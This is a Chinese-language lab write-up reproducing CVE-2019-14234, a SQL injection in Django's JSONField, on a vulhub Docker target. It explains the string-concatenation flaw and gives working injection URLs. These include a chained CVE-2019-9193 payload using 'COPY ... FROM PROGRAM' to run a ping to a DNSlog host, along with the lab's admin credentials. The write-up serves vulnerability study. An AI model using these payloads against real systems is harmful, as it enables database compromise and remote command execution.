漏洞介绍

Django是一款广为流行的开源web框架,由Python编写,许多网站和app都基于Django开发。CVE-2019-14234是一个SQL注入漏洞,它存在于Django框架中的JSONField和HStoreField字段类型中。当开发者使用这些字段类型,并且允许用户通过查询集(queryset)的键名(key name)来执行查询时,就可能会受到此漏洞的影响。由于Django在处理这些查询时使用了简单的字符串拼接,恶意用户可以通过构造特定的查询来注入恶意的SQL代码。

漏洞范围

Django

1.11.x before 1.11.23

2.1.x before 2.1.11

2.2.x before 2.2.4

漏洞靶场

使用vulhub的靶场:

使用的环境是django:2.2.3

vulhub-master/django/CVE-2019-14234/

启动靶场环境:

1
docker-compose up -d

环境启动后,访问http://your-ip:8000即可看到Django默认首页。

漏洞原理

我们直接看到JSONField的实现:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
class JSONField(CheckFieldDefaultMixin, Field):
empty_strings_allowed = False
description = _('A JSON object')
default_error_messages = {
'invalid': _("Value must be valid JSON."),
}
_default_hint = ('dict', '{}')

# ...

def get_transform(self, name):
transform = super().get_transform(name)
if transform:
return transform
return KeyTransformFactory(name)

django/contrib/postgres/fields/jsonb.py#L30-L57

JSONField继承自Field,其实Django中所有字段都继承自Field,其中定义了get_transform函数。

编写过自定义Field的同学应该知道,Django中有以下两个概念:

  1. Lookup
  2. Transform

我们以上面给出过的一个例子来说明这两者的区别:

1
.filter(detail__tags__contains='django')

这个queryset中,__tags是transform,而__contains是lookup。

他们的区别是:transform表示“如何去找关联的字段”,lookup表示“这个字段如何与后面的值进行比对”。

正常情况下,transform一般用来在通过外键连接两个表,比如.filter(author__username='phith0n')可以表示在author外键连接的用户表中,找到username字段;lookup很多时候是被省略的,比如.filter(username='phith0n')表示找到用户名为phith0n的用户,这个被省略的lookup其实就是__exact

用伪SQL语句表示就是:

1
WHERE `users`[1] [2] 'value'

位置[1]是transform,位置[2]是lookup,比如transform是寻找外键表的字段username,lookup是exact(也就是等于),那么生成的SQL语句就是WHERE users.username = 'value'

那么,在JSONField中,lookup实际上是没有变的,但是transform从“在外键表中查找”,变成了“在JSON对象中查找”,所以自然需要重写get_transform函数。

get_transform函数应该返回一个可执行对象,你可以理解为工厂函数,执行这个工厂函数,获得一个transform对象。

JSONField用的工厂函数是KeyTransformFactory类,其返回的是KeyTransform对象:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
class KeyTransformFactory:
def __init__(self, key_name):
self.key_name = key_name

def __call__(self, *args, **kwargs):
return KeyTransform(self.key_name, *args, **kwargs)

class KeyTransform(Transform):
operator = '->'
nested_operator = '#>'

def __init__(self, key_name, *args, **kwargs):
super().__init__(*args, **kwargs)
self.key_name = key_name

def as_sql(self, compiler, connection):
key_transforms = [self.key_name]
previous = self.lhs
while isinstance(previous, KeyTransform):
key_transforms.insert(0, previous.key_name)
previous = previous.lhs
lhs, params = compiler.compile(previous)
if len(key_transforms) > 1:
return "(%s %s %%s)" % (lhs, self.nested_operator), [key_transforms] + params
try:
int(self.key_name)
except ValueError:
lookup = "'%s'" % self.key_name
else:
lookup = "%s" % self.key_name
return "(%s %s %s)" % (lhs, self.operator, lookup), params

django/contrib/postgres/fields/jsonb.py#L182-L188,L94-L117

Django的model最本质的作用是生成SQL语句,所以transform和lookup都需要实现一个名为as_sql的方法用来生成SQL语句。这里原本生成的语句应该是:

1
WHERE (field->'[key_name]') = 'value'

但这里可见,[key_name]位置的json字段名居然是……字符串拼接!

这就是本漏洞出现的原因。

漏洞复现

首先使用以下凭据登录Django管理界面http://your-ip:8000/admin/

  • 用户名:admin
  • 密码:a123123123

导航到Collection模型的列表视图http://your-ip:8000/admin/vuln/collection/

image-20250325193224879

要利用SQL注入漏洞,在GET参数中添加detail__a'b=123,其中detail是JSONField字段:

1
http://your-ip:8000/admin/vuln/collection/?detail__a%27b=123

SQL错误信息将会显示,证实注入成功:

image-20250325193314686

下一步结合CVE-2019-9193我们尝试进行命令注入,构造url如下

1
http://ip:8000/admin/vuln/collection/?detail__title')%3d'1' or 1%3d1 %3bcreate table cmd_exec(cmd_output text)--%20

页面结果虽然报错,但是报错原因是no results to fetch,说明我们的语句已经执行

img

然后用dnslog检测是否可以执行命令

1
http://ip:8000/admin/vuln/collection/?detail__title')%3d'1' or 1%3d1 %3bcopy cmd_exec FROM PROGRAM 'ping dnslog地址'--%20

image-20250325193600783

image-20250325193618166

参考

CVE-2019-14234:Django JSONField SQL注入漏洞复现-腾讯云开发者社区-腾讯云 (tencent.com)

https://github.com/vulhub/vulhub/blob/master/django/CVE-2019-14234/README.zh-cn.md